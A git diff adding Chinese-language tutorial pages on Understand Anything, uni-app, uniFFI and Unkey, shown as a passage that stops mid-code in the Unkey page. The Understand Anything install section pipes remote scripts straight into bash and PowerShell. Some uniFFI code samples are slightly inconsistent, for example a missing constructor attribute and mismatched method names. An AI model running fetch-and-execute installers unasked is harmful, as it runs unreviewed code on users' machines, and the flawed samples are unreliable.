+3. **图谱会过期**：与 CodeGraph 类似，需增量或 hook；代理应警惕未更新的节点。
+4. **隐私**：分析过程会读仓库内容并调用 LLM 写摘要；敏感仓库需自建策略或仅提交脱敏子图。
+
+---
+
+## 延伸资源
+
+| 资源 | 链接 |
+|------|------|
+| 上游仓库（Lum1104 fork） | https://github.com/Lum1104/Understand-Anything |
+| 组织主页 | https://github.com/Egonex-AI/Understand-Anything |
+| 官网与 Demo | https://understand-anything.com |
+| 最新 Release（撰写时 v2.7.3） | https://github.com/Lum1104/Understand-Anything/releases |
+| Skill 文档（`/understand` 七阶段流水线） | 仓库内 `understand-anything-plugin/skills/understand/SKILL.md` |
+
+---
+
+## 小结
+
+Understand Anything 把「读代码」从线性翻文件，变成**可搜索、可导览、可协作的图谱产品**：Tree-sitter 保底结构，LLM 补上「这块是干什么的」，仪表盘负责**教人**而不是吓人。零基础使用者只需记住三步：`/understand` 建图 → `/understand-dashboard` 看图 → `/understand-chat` 或 Tour 带着问题学；团队再把 JSON 纳入版本库，就把 onboarding 成本摊到每一次 CI/提交维护里。
diff --git a/src/content/docs/projects/understand-anything.md b/src/content/docs/projects/understand-anything.md
new file mode 100644
index 000000000..a356bdf11
--- /dev/null
+++ b/src/content/docs/projects/understand-anything.md
@@ -0,0 +1,165 @@
+---
+title: Understand Anything — 把任何代码库变成可交互的知识图谱
+来源: https://github.com/Lum1104/Understand-Anything
+date: 2026-06-13
+分类: CLI
+子分类: ai-ml-tools
+provenance: pipeline-v3
+
+---
+
+# Understand Anything — 把任何代码库变成可交互的知识图谱
+
+## 一、从日常类比开始
+
+想象你刚加入一个新团队，接手一个 20 万行代码的项目。
+
+你打开编辑器，看到密密麻麻的文件和文件夹。每个文件里都有函数调用另一个文件里的函数，每个类又继承自别的类。你就像在一个没有地图的迷宫里——每走一步都怕踩错。
+
+Understand Anything 做的事情，就是给这个迷宫画一张地图。它扫描你的整个代码库，把每个文件、函数、类、依赖关系都提取出来，然后生成一张你可以点击、搜索、缩放的知识图谱。不仅如此，它还能告诉你每个部分"是做什么的"，而不只是"它调用了什么"。
+
+简单说：它让 AI 帮你读懂别人的代码。
+
+## 二、核心概念
+
+### 1. 知识图谱（Knowledge Graph）
+
+知识图谱是一种用"节点"和"边"来表示关系的数据结构。在这个项目里：
+
+- **节点** = 代码中的实体（文件、函数、类、模块）
+- **边** = 它们之间的关系（导入、调用、继承、实现）
+
+传统代码阅读是线性的——你从第一行读到最后一行。知识图谱是网状的——你可以一眼看到全局，也可以放大到细节。
+
+### 2. Tree-sitter + LLM 混合架构
+
+这是 Understand Anything 最核心的设计决策。它把"确定性分析"和"语义理解"分开来做：
+
+**Tree-sitter（确定性）**：像一把精确的尺子。它解析源代码，提取结构事实——谁导入了谁、谁继承了谁、函数定义在哪里。同样的输入，每次输出都一样。
+
+**LLM（语义理解）**：像一个聪明的读者。它读取 Tree-sitter 提取的结构和原始源码，然后用自然语言告诉你"这个文件是干什么的"、"这个函数属于哪一层架构"。
+
+这两者分工合作：Tree-sitter 保证图谱的结构是可复现的，LLM 补充了结构之外的含义。
+
+### 3. 多智能体流水线（Multi-Agent Pipeline）
+
+`/understand` 命令背后有 5 个专门的 AI 智能体协作：
+
+| 智能体 | 职责 |
+|--------|------|
+| project-scanner | 发现文件，检测语言和框架 |
+| file-analyzer | 提取函数、类、导入关系，生成本图和边 |
+| architecture-analyzer | 识别架构层级（API、Service、Data 等） |
+| tour-builder | 自动生成引导式学习路线 |
+| graph-reviewer | 验证图谱完整性 |
+
+文件分析器可以并行运行（最多 5 个并发），还支持增量更新——只重新分析变更过的文件。
+
+## 三、安装和使用
+
+### Claude Code 插件方式安装
+
+```bash
+/plugin marketplace add Egonex-AI/Understand-Anything
+/plugin install understand-anything
+```
+
+### 一行命令安装（支持 Codex、OpenCode、Cursor、Copilot 等 16 个平台）
+
+```bash
+# macOS / Linux
+curl -fsSL https://raw.githubusercontent.com/Egonex-AI/Understand-Anything/main/install.sh | bash
+
+# Windows PowerShell
+iwr -useb https://raw.githubusercontent.com/Egonex-AI/Understand-Anything/main/install.ps1 | iex
+```
+
+## 四、代码示例
+
+### 示例 1：分析整个代码库并打开仪表盘
+
+这是最基本的用法。在你的项目根目录下运行：
+
+```bash
+# 第一步：分析代码库
+/understand
+
+# 第二步：打开交互式仪表盘
+/understand-dashboard
+```
+
+执行 `/understand` 后，多智能体流水线会扫描你的项目，提取所有文件、函数、类和依赖关系，最终把知识图谱保存到 `.understand-anything/knowledge-graph.json`。
+
+然后 `/understand-dashboard` 会在浏览器中打开一个可视化界面——节点按架构层级着色，可以搜索、点击、拖拽缩放。
+
+### 示例 2：中文本地化 + 交互式提问
+
+```bash
+# 生成中文内容（知识图谱节点描述和仪表盘 UI）
+/understand --language zh
+
+# 用中文提问代码库
+/understand-chat 支付流程是怎么工作的？
+
+# 分析某个具体文件
+/understand-explain src/auth/login.ts
+
+# 查看当前修改的影响范围
+/understand-diff
+```
+
+`--language` 参数会影响三个方面：知识图谱节点的摘要和描述、仪表盘 UI 的标签按钮和提示文字、引导式学习路线的解释。
+
+首次运行时，如果不指定 `--language`，系统会自动检测你对话使用的语言，如果不是英文会询问确认，选择会保存到 `.understand-anything/config.json` 供后续使用。
+
+### 示例 3：团队协作——共享图谱
+
+图谱本质上就是一个 JSON 文件，所以分享给团队成员非常简单：
+
+```bash
+# 开启自动更新——每次提交后自动增量更新图谱
+/understand --auto-update
+
+# 或者手动运行
+/understand
+```
+
+团队可以把 `.understand-anything/` 目录提交到 Git（除了 `intermediate/` 和 `diff-overlay.json`），这样新成员不需要跑流水线，直接就能看图谱。对于大型项目（10MB+），可以用 git-lfs：
+
+```bash
+git lfs install
+git lfs track ".understand-anything/*.json"
+git add .gitattributes .understand-anything/
+```
+
+## 五、更多功能一览
+
+除了基础的图谱分析，Understand Anything 还有很多实用功能：
+
+- **业务逻辑视图**：切换到 domain 视图，看到代码如何映射到真实业务流程——领域、流程、步骤以水平图谱展示
+- **引导式学习路线（Guided Tours）**：按依赖顺序自动生成代码库架构的学习路径
+- **模糊搜索 & 语义搜索**：不仅能按名称搜，还能按意思搜。比如搜"哪些部分处理认证？"
+- **Diff 影响分析**：提交之前就能看到改动影响了系统的哪些部分
+- ** persona 自适应 UI**：仪表盘会根据你的角色（初级开发者、产品经理、高级用户）调整详情程度
+- **架构分层可视化**：自动按 API、Service、Data、UI、Utility 分组，带颜色图例
+- **编程语言概念解释**：12 种编程模式（泛型、闭包、装饰器等）在出现的上下文中自动解释
+- **知识库分析**：指向一个 Karpathy 模式的 LLM wiki，生成带有社区聚类的力导向知识图谱
+
+## 六、为什么这个项目值得关注
+
+Understand Anything 目前已有超过 58,000 颗 Star，它解决的是一个几乎所有开发者都会遇到的痛点——面对陌生代码库时的"阅读恐惧"。
+
+它的设计哲学很值得注意：
+
+> "目标不是生成一张让你惊叹'原来我的代码库这么复杂'的图——而是生成一张安静地教你每块拼图如何拼在一起的图。"
+
+这不是一个炫技的工具，而是一个真正帮你降低认知负担的学习助手。尤其对于初学者来说，能够"看到"代码之间的连接关系，比单纯阅读源码要直观得多。
+
+## 七、总结要点
+
+- Understand Anything 是一个跨平台的代码库分析工具，将代码转化为可交互的知识图谱
+- 核心架构是 Tree-sitter（确定性结构分析）+ LLM（语义理解）的混合模式
+- 多智能体流水线并行处理文件，支持增量更新
+- 支持 16+ 个 AI 编码平台，一行命令即可安装
+- 支持中文本地化，适合全球开发者使用
+- 图谱可共享到 Git，适合团队协作和新成员 onboarding
diff --git a/src/content/docs/projects/uni-app.md b/src/content/docs/projects/uni-app.md
new file mode 100644
index 000000000..063a3002b
--- /dev/null
+++ b/src/content/docs/projects/uni-app.md
@@ -0,0 +1,320 @@
+---
+title: uni-app — 一套 Vue 代码跑遍小程序、H5 与 App
+来源: https://github.com/dcloudio/uni-app
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+uni-app 是 DCloud 推出的**跨平台前端框架**：你用 Vue 语法写页面，同一套工程可以编译发布到 iOS、Android、鸿蒙、H5（响应式 Web）、以及微信/支付宝/百度/抖音/QQ/快手/钉钉/淘宝/京东/小红书等小程序与快应用。日常类比：uni-app 像一家连锁便利店的**统一供应链**——总部（你写的 Vue 代码）只定一份货品清单和陈列标准，各分店（各端运行时）按当地法规（平台 API）上架同款商品，顾客在哪家店买到的都是同一品牌，不必为每个城市单独建厂。
+
+它和「把 H5 塞进 WebView 壳」不同。uni-app 在底层拆成**编译器 + 运行时**：编译器把 `.vue` 转成各端可执行的代码；运行时在各平台提供统一的组件、路由和 `uni` API 封装，必要时再通过条件编译调用平台专有能力的「加长货架」。
+
+```bash
+# 使用 HBuilderX 或 Vue CLI 创建项目（Vue 3 示例）
+npx degit dcloudio/uni-preset-vue#vite-ts my-uni-app
+cd my-uni-app
+npm install
+npm run dev:h5          # 浏览器预览
+npm run dev:mp-weixin   # 微信开发者工具预览
+npm run build:app       # 打包 App（需 HBuilderX 云打包或本地证书）
+```
+
+## 为什么重要
+
+不理解 uni-app，以下场景容易选型失误或反复踩坑：
+
+- **业务要「小程序 + H5 + App」齐发**：自研三套前端团队成本极高；uni-app 让会 Vue 的团队用一套技能栈覆盖主流端
+- **已有 Vue H5 想进微信生态**：语法与组件模型接近 Vue + 小程序规范，迁移成本低于从零学各端原生
+- **各端 API 名称不一致**：`uni.request`、`uni.navigateTo` 等统一封装，屏蔽大部分 `wx.` / `my.` / `plus.` 差异
+- **与 Taro 的取舍**：Taro 偏 React/Vue 双栈 + 京东系验证；uni-app 默认 Vue 生态 + DCloud 工具链（HBuilderX、uniCloud、插件市场），国内小程序/App 案例与插件更丰富
+- **性能敏感页面**：App 端可选 `nvue` 原生渲染，比纯 WebView 的 `.vue` 页面更适合长列表、地图等场景
+
+## 核心概念
+
+uni-app 的技术栈可以拆成七块：
+
+### 1. 编译器 + 运行时（跨端原理）
+
+官方把跨端能力拆成两部分配合完成：
+
+| 部分 | 职责 |
+|------|------|
+| **编译器** | 解析 `.vue`、条件编译、把模板/脚本/样式转成目标平台代码 |
+| **运行时（runtime）** | 在各端提供 Vue 运行时、页面路由、内置组件、`uni` API |
+
+- **小程序端**：runtime 类似「小程序版 Vue」，路由与组件多是对各小程序规范的转义
+- **Web 端**：在普通 Vue 项目上增加 uni 的 UI 库、路由框架和 `uni` 对象
+- **App 端**：逻辑层跑在 JS 引擎（Android 为 V8，iOS 为 JavaScriptCore），渲染层可选 WebView（`.vue`）或原生（`.nvue`）
+
+类比：编译器是「翻译官」，runtime 是「当地导游」——翻译官把中文稿子改成当地语言稿，导游在现场带你走正确的路和门禁（平台 API）。
+
+### 2. 页面结构与路由
+
+uni-app 采用**多页应用**模型（类似各端小程序），不是 SPA 单页：
+
+- 页面文件放在 `pages/` 目录，每个页面一个文件夹，主文件为 `index.vue`
+- 在根目录 `pages.json` 注册页面路径、窗口样式、`tabBar`、分包等
+- 路由用 `uni.navigateTo`、`uni.redirectTo`、`uni.switchTab` 等 API，不用 Vue Router
+
+```json
+{
+  "pages": [
+    {
+      "path": "pages/index/index",
+      "style": { "navigationBarTitleText": "首页" }
+    },
+    {
+      "path": "pages/detail/detail",
+      "style": { "navigationBarTitleText": "详情" }
+    }
+  ],
+  "globalStyle": {
+    "navigationBarTextStyle": "black",
+    "navigationBarBackgroundColor": "#F8F8F8"
+  },
+  "tabBar": {
+    "color": "#7A7E83",
+    "selectedColor": "#3cc51f",
+    "list": [
+      {
+        "pagePath": "pages/index/index",
+        "text": "首页",
+        "iconPath": "static/tab-home.png",
+        "selectedIconPath": "static/tab-home-active.png"
+      },
+      {
+        "pagePath": "pages/detail/detail",
+        "text": "详情",
+        "iconPath": "static/tab-detail.png",
+        "selectedIconPath": "static/tab-detail-active.png"
+      }
+    ]
+  }
+}
+```
+
+### 3. 组件与标签
+
+跨端使用内置组件，而非 HTML 标签（H5 编译后会映射为 DOM）：
+
+| uni 组件 | 小程序 | H5（近似） | 说明 |
+|----------|--------|------------|------|
+| `view` | `view` | `div` | 布局容器 |
+| `text` | `text` | `span` | 文本，支持嵌套 |
+| `image` | `image` | `img` | 图片，`mode` 控制裁剪 |
+| `button` | `button` | `button` | 按钮，注意各端默认样式差异 |
+| `scroll-view` | `scroll-view` | 可滚动 div | 区域滚动 |
+
+样式支持 `class` + `rpx`（以 750 设计稿为基准的逻辑像素）、内联 `style`，以及 `scss`/`less` 等预处理器。
+
+### 4. uni API 与网络请求
+
+浏览器里的 `fetch` / `axios` 在小程序里不能直接用；统一走 `uni` 命名空间：
+
+```js
+// 封装在页面或 composable 中
+export function fetchUserProfile(userId) {
+  return new Promise((resolve, reject) => {
+    uni.request({
+      url: `https://api.example.com/users/${userId}`,
+      method: 'GET',
+      header: { Authorization: `Bearer ${getToken()}` },
+      success: (res) => {
+        if (res.statusCode >= 200 && res.statusCode < 300) {
+          resolve(res.data)
+        } else {
+          reject(new Error(res.data?.message || '请求失败'))
+        }
+      },
+      fail: reject,
+    })
+  })
+}
+```
+
+常用 API 还包括：`uni.showToast`、`uni.setStorageSync`、`uni.getSystemInfoSync`、`uni.chooseImage` 等。App 端还可调用 `plus.*`（5+ Runtime）访问更底层的原生能力。
+
+### 5. 条件编译（平台差异化）
+
+同一文件里为不同平台写不同代码，编译时只保留目标平台分支：
+
+```vue
+<template>
+  <view class="container">
+    <!-- #ifdef MP-WEIXIN -->
+    <button open-type="getPhoneNumber" @getphonenumber="onGetPhone">
+      微信一键登录
+    </button>
+    <!-- #endif -->
+
+    <!-- #ifdef APP-PLUS -->
+    <button @click="nativeLogin">App 原生登录</button>
+    <!-- #endif -->
+
+    <!-- #ifdef H5 -->
+    <button @click="h5OAuth">H5 扫码登录</button>
+    <!-- #endif -->
+  </view>
+</template>
+
+<script setup>
+function onGetPhone(e) {
+  console.log('微信手机号授权', e.detail)
+}
+
+// #ifdef APP-PLUS
+function nativeLogin() {
+  plus.oauth.getServices((services) => {
+    console.log('可用 OAuth 服务', services)
+  })
+}
+// #endif
+
+function h5OAuth() {
+  window.location.href = '/oauth/start'
+}
+</script>
+
+<style>
+/* #ifdef MP */
+.container { padding: 32rpx; }
+/* #endif */
+
+/* #ifdef H5 */
+.container { max-width: 750px; margin: 0 auto; }
+/* #endif */
+</style>
+```
+
+常见平台标识：`H5`、`MP-WEIXIN`、`MP-ALIPAY`、`APP-PLUS`、`APP-PLUS-NVUE` 等。`#ifndef` 表示「非某平台」。
+
+### 6. Vue 版本与组合式 API
+
+uni-app 支持 Vue 2 与 Vue 3（新项目推荐 Vue 3 + `script setup`）：
+
+```vue
+<!-- pages/index/index.vue -->
+<template>
+  <view class="page">
+    <text class="title">{{ greeting }}</text>
+    <input v-model="keyword" placeholder="搜索商品" />
+    <button @click="search">搜索</button>
+    <view v-for="item in list" :key="item.id" class="card">
+      <text>{{ item.name }}</text>
+    </view>
+  </view>
+</template>
+
+<script setup>
+import { ref, computed, onMounted } from 'vue'
+import { onPullDownRefresh, onReachBottom } from '@dcloudio/uni-app'
+
+const keyword = ref('')
+const list = ref([])
+const page = ref(1)
+
+const greeting = computed(() =>
+  list.value.length ? `共 ${list.value.length} 条` : '暂无数据'
+)
+
+async function loadData(reset = false) {
+  if (reset) page.value = 1
+  const res = await uni.request({
+    url: 'https://api.example.com/items',
+    data: { q: keyword.value, page: page.value },
+  })
+  const rows = res.data?.items ?? []
+  list.value = reset ? rows : [...list.value, ...rows]
+}
+
+function search() {
+  loadData(true)
+}
+
+onMounted(() => loadData(true))
+
+onPullDownRefresh(async () => {
+  await loadData(true)
+  uni.stopPullDownRefresh()
+})
+
+onReachBottom(() => {
+  page.value += 1
+  loadData(false)
+})
+</script>
+
+<style scoped>
+.page { padding: 24rpx; }
+.title { font-size: 36rpx; font-weight: 600; }
+.card { margin-top: 16rpx; padding: 20rpx; background: #fff; border-radius: 12rpx; }
+</style>
+```
+
+页面生命周期除 Vue 的 `onMounted` 外，还有 uni 专用钩子（如 `onLoad`、`onShow`、`onPullDownRefresh`），需从 `@dcloudio/uni-app` 导入。
+
+### 7. nvue、uniCloud 与生态扩展
+
+- **nvue**：App 端原生渲染页面，使用 Weex 风格 flex 布局，适合高性能列表与动画；与 `.vue` 页面可通过路由混用
+- **uni_modules**：插件模块化规范，类似 npm 但针对 uni-app 组件与 SDK 分发
+- **uniCloud**：DCloud 提供的云开发（云函数、云数据库），与客户端 `uniCloud.callFunction` 深度集成
+- **uts**：类 TypeScript 的跨端原生插件语言，可写高性能原生模块
+
+## 开发工具链
+
+| 工具 | 用途 |
+|------|------|
+| **HBuilderX** | DCloud 官方 IDE，内置运行、调试、云打包、真机同步 |
+| **Vue CLI / Vite 模板** | 习惯 VS Code / WebStorm 的开发者可用 CLI 创建 `uni-preset-vue` 项目 |
+| **微信开发者工具** | 预览与调试 `dev:mp-weixin` 产物 |
+| **uni 插件市场** | 登录、支付、地图、UI 库等成品模块 |
+
+本地调试常见命令：
+
+```bash
+npm run dev:h5
+npm run dev:mp-weixin
+npm run dev:mp-alipay
+npm run build:h5
+npm run build:mp-weixin
+```
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| Vue.js | uni-app 基于 Vue 语法与响应式模型；Vue 3 项目用 `createSSRApp` 等入口由 `@dcloudio/uni-app` 封装 |
+| 微信小程序 | 组件与 API 设计大量对齐微信规范，降低小程序开发心智负担 |
+| Taro | 同为跨端方案；Taro 更偏 React 与编译时+运行时双轨，uni-app 更偏 Vue + DCloud 全家桶 |
+| React Native | App 端 nvue 渲染思路接近 RN；uni-app 则强调「一套 Vue 代码」而非 RN 组件树 |
+| Flutter | Flutter 自绘引擎、Dart 语言；uni-app 走 Web/小程序运行时转义，学习曲线对前端更友好 |
+| uniCloud | 可选后端，与客户端同一厂商，适合中小项目快速全栈 |
+
+## 常见问题与最佳实践
+
+1. **样式单位**：设计稿 750 宽时用 `rpx` 做自适应；固定边框可用 `px`。H5 需注意 `rpx` 与 rem 的换算。
+2. **图片与静态资源**：放 `static/` 目录，路径以 `/static/...` 引用；大图与字体注意各小程序包体积限制（主包一般 2MB 内）。
+3. **登录与支付**：各端差异大，优先用插件市场成熟方案，再用条件编译补边角。
+4. **避免直接使用 DOM/BOM**：`document`、`window` 仅在 H5 条件编译块中使用。
+5. **分包加载**：页面多时配置 `subPackages`，加快小程序首屏与通过审核。
+6. **TypeScript**：官方模板支持 TS；为 `uni` API 配置 `@dcloudio/types` 获得类型提示。
+
+## 学习路径建议
+
+1. 熟悉 Vue 3 基础（`ref`、`computed`、`script setup`）
+2. 用 HBuilderX 或 Vite 模板跑通 H5 + 微信小程序双端预览
+3. 精读 `pages.json` 与页面生命周期文档
+4. 练习条件编译处理登录、分享等平台差异
+5. 需要 App 性能时了解 nvue 与原生插件；需要后端时了解 uniCloud
+
+## 参考资源
+
+- 官方文档：https://uniapp.dcloud.net.cn
+- GitHub 仓库：https://github.com/dcloudio/uni-app
+- 跨端原理：https://uniapp.dcloud.net.cn/tutorial/
+- 条件编译：https://uniapp.dcloud.net.cn/tutorial/platform.html
+- 插件市场：https://ext.dcloud.net.cn
diff --git a/src/content/docs/projects/uniffi.md b/src/content/docs/projects/uniffi.md
new file mode 100644
index 000000000..19defd53b
--- /dev/null
+++ b/src/content/docs/projects/uniffi.md
@@ -0,0 +1,232 @@
+---
+title: uniFFI — Rust 跨语言绑定生成器
+来源: https://github.com/mozilla/uniffi-rs
+日期: 2026-06-13
+分类: 其他
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# uniFFI — Rust 跨语言绑定生成器
+
+## 日常类比
+
+想象你在一家跨国食品公司工作。公司有一个「万能厨师」——它做的菜是全球最好吃的（这段代码用 Rust 写的，因为 Rust 安全又快）。但现在问题来了：
+
+- 中国的分店要用 Java 调用这个厨师
+- 美国的分店要用 Swift 调用同一个厨师
+- 法国的分店要用 Python 调用
+
+在没有 uniFFI 的时代，你需要：
+1. 让厨师把自己的菜「翻译」成 Java 能理解的格式
+2. 再翻译一遍给 Swift 用
+3. 再翻译一遍给 Python 用
+
+而且每次菜式更新，你都要重新翻译三遍。累不累？
+
+uniFFI 做的事就是：**你只用 Rust 写一次，它自动帮你翻译成所有语言的接口**。你定义一次规则，Kotlin、Swift、Python、Ruby 都能调用。这就是"Unified FFI"——统一的外语函数接口。
+
+## 核心概念
+
+### 1. 接口定义（Interface Definition）
+
+你需要告诉 uniFFI「哪些功能要暴露给其他语言」。有两种方式：
+
+- **UDL 文件**（UniFFI Definition Language）—— 类似 IDL，用一种类 WebIDL 的文本描述接口
+- **Proc Macros** —— 在 Rust 代码上直接加 `#[uniffi::xxx]` 属性，更 Rust 原生
+
+### 2. Scaffolding（脚手架代码）
+
+uniFFI 会根据你的接口定义，自动生成一份 Rust 代码。这份代码负责把 Rust 内部的数据结构「打包」成跨语言能传递的格式（这个过程叫 **lowering**）。
+
+### 3. 绑定代码（Bindings）
+
+同时 uniFFI 还会自动生成目标语言的代码——比如在 Swift 里生成一个可以调用的 `.swift` 文件，在 Kotlin 里生成 `.kt` 文件。这份代码负责把调用「打包」成 C 能理解的格式，传递给 Rust 编译出的动态链接库。
+
+### 4. 运行时动态链接库
+
+你的 Rust 代码编译成一个共享库（`.so`、`.dylib`、`.dll`），其他语言在运行时加载它。uniFFI 生成的绑定代码就像一座桥，连接了「其他语言的调用」和「Rust 的共享库」。
+
+```
+[ Swift / Kotlin / Python ]
+       ↑ 调用
+[ uniFFI 自动生成的绑定代码 ]
+       ↑ FFI 调用（C 兼容格式）
+[ Rust 编译的动态链接库 ]
+```
+
+### 5. 类型映射
+
+uniFFI 帮你处理语言间的类型转换。比如：
+
+| Rust 类型 | Kotlin | Swift | Python |
+|-----------|--------|-------|--------|
+| `String` | `String` | `String` | `str` |
+| `u32` | `Int` | `UInt32` | `int` |
+| `Vec<String>` | `List<String>` | `[String]` | `List[str]` |
+| `Result<T, E>` | `T / throws E` | `Result<T, E>` | 抛出异常 |
+
+## 代码示例
+
+### 示例一：用 Proc Macro 定义一个待办事项管理器
+
+这是最现代、最推荐的方式。直接在你的 Rust 代码上加宏：
+
+```rust
+use uniffi::Object;
+
+// 声明一个可暴露给其他语言的「对象」
+#[uniffi::Object]
+pub struct TodoList {
+    items: std::sync::RwLock<Vec<String>>,
+}
+
+// 给这个对象实现方法
+#[uniffi::export]
+impl TodoList {
+    // 构造函数（必须是 #[uniffi::constructor]）
+    pub fn new() -> Self {
+        TodoList {
+            items: std::sync::RwLock::new(Vec::new()),
+        }
+    }
+
+    // 添加待办事项
+    pub fn add_item(&self, todo: String) {
+        self.items.write().unwrap().push(todo);
+    }
+
+    // 获取所有待办事项
+    pub fn get_items(&self) -> Vec<String> {
+        self.items.read().unwrap().clone()
+    }
+}
+
+// 暴露一个全局函数
+#[uniffi::export]
+pub fn create_demo_list() -> TodoList {
+    let list = TodoList::new();
+    list.add_item("学习 uniFFI".to_string());
+    list.add_item("写笔记".to_string());
+    list
+}
+```
+
+然后在 `lib.rs` 顶部加一句：
+
+```rust
+uniffi::setup_scaffolding!();
+```
+
+### 示例二：Kotlin 端调用（自动生成）
+
+uniFFI 会为上面的 Rust 代码自动生成 Kotlin 代码。你在 Kotlin 里就这样用：
+
+```kotlin
+// 自动生成的代码，不需要你手写
+val list = createDemoList()
+// 或者
+val list = TodoList()
+
+list.addItem("买牛奶")
+list.addItem("提交 PR")
+
+val items = list.items()
+for (item in items) {
+    println("待办: $item")
+}
+```
+
+生成的 Kotlin 代码长这样（简化版）：
+
+```kotlin
+class TodoList : TodoListInterface {
+    override fun addItem(todo: String) {
+        // 内部调用 FFI，传递 String 给 Rust
+    }
+    override fun getItems(): List<String> {
+        // 内部调用 FFI，从 Rust 获取 Vec<String>
+    }
+}
+```
+
+### 示例三：用 UDL 文件定义接口（另一种方式）
+
+如果你更喜欢把接口单独定义，可以写一个 `.udl` 文件：
+
+```udl
+namespace todo {
+    [Constructor]
+    interface TodoList {
+        void addItem(String todo);
+        sequence<String> getItems();
+    };
+
+    TodoList createDemoList();
+};
+```
+
+然后在 Rust 的 `build.rs` 中告诉 uniFFI 去处理它：
+
+```rust
+fn main() {
+    uniffi::generate_scaffolding("src/todo.udl").unwrap();
+}
+```
+
+### 示例四：错误处理
+
+uniFFI 也支持跨语言传递错误：
+
+```rust
+#[derive(Debug, thiserror::Error)]
+enum AppError {
+    #[error("待办事项不能为空")]
+    EmptyItem,
+    #[error("重复的待办事项: {0}")]
+    Duplicate(String),
+}
+
+impl uniffi::Error for AppError {}
+
+#[uniffi::export]
+impl TodoList {
+    pub fn add_item(&self, todo: String) -> Result<(), AppError> {
+        if todo.is_empty() {
+            return Err(AppError::EmptyItem);
+        }
+        // ... 检查重复
+        self.items.write().unwrap().push(todo);
+        Ok(())
+    }
+}
+```
+
+在 Swift 里调用时，它就是一个 `Result` 类型，可以正常使用 `do/catch`：
+
+```swift
+do {
+    try list.addItem("")
+} catch {
+    print("出错了: \(error)")
+}
+```
+
+## 为什么用 uniFFI？
+
+| 对比项 | 手动写 FFI | 用 uniFFI |
+|--------|-----------|----------|
+| 类型转换 | 自己写每个类型的映射 | 自动生成 |
+| 新增语言 | 重写一遍绑定代码 | 重新生成即可 |
+| 接口变更 | 三处都要改 | 改一处重新生成 |
+| 错误处理 | 容易出错 | 有统一规范 |
+| 内存管理 | Arc 引用计数要手动处理 | 自动生成 |
+
+## 支持的绑定语言
+
+- **官方支持**：Kotlin（Android）、Swift（iOS/macOS）、Python、Ruby（部分， legacy）
+- **第三方**：C#、Go、Dart、Java、React Native（WASM）
+
+## 一句话总结
+
+uniFFI 就是 Rust 界的「一次编写，到处运行」——你定义接口，它帮你生成所有目标语言的桥接代码。Mozilla 在 Firefox 中用它把 Rust 写的核心逻辑同时暴露给了 Android（Kotlin）和 iOS（Swift），这就是它最真实的实战场景。
diff --git a/src/content/docs/projects/unkey-api-keys.md b/src/content/docs/projects/unkey-api-keys.md
new file mode 100644
index 000000000..bff33c23b
--- /dev/null
+++ b/src/content/docs/projects/unkey-api-keys.md
@@ -0,0 +1,223 @@
+---
+title: Unkey API Key Management
+来源: https://github.com/unkeyed/unkey
+date: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+
+---
+
+# Unkey API Key Management
+
+## 日常类比：小区门禁卡系统
+
+想象你住在一个高档小区，每户人家都有一张门禁卡。这张卡有几个关键属性：
+
+- **唯一性**：每张卡有独一无二的编号，保安不可能搞混
+- **可挂失**：卡丢了可以立刻作废，捡到的人刷不开门
+- **有时效**：访客卡只有三天有效期，过了就失效
+- **有额度**：有些卡限制每月只能进 100 次
+- **有权限**：业主卡能进所有区域，保洁卡只能进公共区域
+
+Unkey 做的事情就是——把你的 API 变成一个这样的智能小区，而 API key 就是那张门禁卡。它帮你管理卡的发放、验证、过期、撤销，全部自动化。
+
+## 为什么需要专门管理 API Key？
+
+没有 Unkey 的时候，开发者通常自己处理这些逻辑：
+
+- 把 key 存在数据库里，每次请求拿用户的 key 和数据库比对
+- 自己实现过期时间检查
+- 自己实现限流逻辑
+- key 泄露了要手动去数据库删掉
+
+这些看起来简单，但真正上线后会有很多坑：并发验证的性能、key 的安全存储（不能明文存）、大规模下的查询速度。Unkey 把这些全部打包成一个托管服务。
+
+## 核心概念
+
+### API（API ID）
+
+一个 API 代表你的一个服务项目。比如你有"用户服务"和"支付服务"两个 API，每个都有自己的 `api_id`。keys 属于某个 API，不同 API 的 key 互不干扰。
+
+### Keyspace
+
+Keyspace 是一个 API 下的 key 容器。你可以为生产环境和测试环境创建不同的 keyspace，方便隔离管理。
+
+### Root Key
+
+Root Key 是你的"管理员密钥"，用来调用 Unkey 的 API 来创建、删除、管理其他 key。这个 key 要像密码一样保密，绝不能放到前端代码里。
+
+### Sentinel（哨兵）
+
+Sentinel 是 Unkey 的网关层，位于你的 API 前面。所有请求先到 Sentinel，它会验证 key、检查限流、过滤 IP，只有通过的所有请求才会到达你的实际代码。这意味着你不需要在自己代码里写验证逻辑。
+
+### Verification（验证）
+
+验证是核心动作。每次请求来的时候，你把收到的 key 发给 Unkey，它返回这个 key 是否有效、属于谁、还剩多少额度、有没有过期。整个过程是毫秒级的。
+
+## 安全设计
+
+Unkey 不会以明文形式存储任何 API key。所有 key 在存入数据库之前都会经过 SHA-256 哈希处理。这意味着即使 Unkey 的数据库被攻破，攻击者也只能看到一堆哈希值，无法还原出原始的 key。
+
+验证时，Unkey 会对传入的 key 也做一次哈希，然后跟数据库里的哈希值比对。这跟操作系统存储密码密码的方式完全一样。
+
+## 代码示例
+
+### 示例一：创建和验证一个 API Key
+
+这是最基础的使用流程——先创建一个 key 给用户，然后在每次请求中验证它。
+
+```typescript
+import { Unkey } from "@unkey/api";
+
+// 初始化客户端，使用你的 root key 认证
+const unkey = new Unkey({ rootKey: process.env.UNKEY_ROOT_KEY });
+
+// 步骤 1：为用户创建一个 API key
+// 这通常在用户注册或申请 API 访问时调用
+async function createUserKey(userId: string) {
+  const { meta, data } = await unkey.keys.createKey({
+    apiId: "api_myproject",       // 所属的 API
+    name: `user-${userId}`,        // 可读名称，方便识别
+    meta: { userId },              // 自定义元数据
+    expires: Date.now() + 86400000, // 24 小时后过期
+    ratelimit: {
+      limit: 100,                  // 最多 100 次请求
+      duration: 60_000,            // 在 60 秒窗口内
+    },
+  });
+
+  // data.key 是生成的完整 key 字符串（如 sk_xxx...）
+  // 这个值只会显示一次！必须保存给用户
+  console.log("新 key:", data.key);
+  return data.key;
+}
+
+// 步骤 2：在 API 请求中验证 key
+async function handleApiRequest(req: Request) {
+  // 从 Authorization 头提取 key
+  const authHeader = req.headers.get("Authorization") || "";
+  const key = authHeader.replace("Bearer ", "");
+
+  if (!key) {
